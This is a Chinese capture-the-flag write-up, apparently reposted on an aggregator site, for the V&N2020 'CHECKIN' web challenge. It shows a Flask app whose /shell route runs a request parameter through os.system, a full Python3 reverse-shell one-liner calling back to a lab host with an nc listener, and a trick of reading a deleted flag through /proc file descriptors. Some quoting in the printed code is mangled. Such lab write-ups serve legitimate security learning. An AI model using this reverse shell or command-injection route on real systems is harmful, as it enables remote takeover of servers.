[V&N2020 公开赛]CHECKIN

Posted mech

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[V&N2020 公开赛]CHECKIN相关的知识,希望对你有一定的参考价值。

F12查看格式化的源码

from flask import Flask, request
import os
app = Flask(__name__)

flag_file = open("flag.txt", "r")
# flag = flag_file.read()
# flag_file.close()
#
# @app.route(‘/flag‘)
# def flag():
#     return flag
## want flag? naive!

# You will never find the thing you want:) I think
@app.route(/shell)
def shell():
    os.system("rm -f flag.txt")
    exec_cmd = request.args.get(c)
    os.system(exec_cmd)
    return "1"

@app.route(/)
def source():
    return open("app.py","r").read()

if __name__ == "__main__":
    app.run(host=0.0.0.0)

反弹shell

先在BUU上注册一个小号,然后开一台靶机,使用ssh登录

看一下靶机在内网的ip地址,注意,不能使用ssh登录的那个地址,那是公网地址,内网机器连不到

 

技术图片

 

使用nc进行监听

nc -lvvp 9999

找一个反弹shell的脚本,注意,这里用python3,具体原因我也不清楚,参考https://www.cnblogs.com/20175211lyz/p/12397933.html

python3 -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((‘174.1.85.126‘,9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([‘/bin/bash‘,‘-i‘]);"

url编码后发送

 

技术图片

 

 

进来了

 

技术图片

 

怎么读flag呢?

注意到源码的这一句

flag_file = open("flag.txt", "r")

以及

@app.route(/shell)
def shell():
    os.system("rm -f flag.txt")
    exec_cmd = request.args.get(c)
    os.system(exec_cmd)
    return "1"

先打开flag.txt,然后每次我们执行命令之前都会删掉flag.txt,这里注意到,系统并没有关闭flag.txt就直接将其删除了

这里使用文件描述符,图片来自http://106.15.121.121/vn2020-%E5%85%AC%E5%BC%80%E8%B5%9Bcheckin/

 

技术图片

 

cat  /proc/*/fd/*

技术图片

 

以上是关于[V&N2020 公开赛]CHECKIN的主要内容,如果未能解决你的问题,请参考以下文章

[V&N2020 公开赛]CHECKIN

BUUCTF: [V&N2020 公开赛]内存取证

BUUCTF V&N2020 公开赛 Misc(复现)

BUUCTF--[V&N2020 公开赛]strangeCpp

[V&N2020 公开赛] Web misc部分题解

pwnV&N2020 公开赛 simpleHeap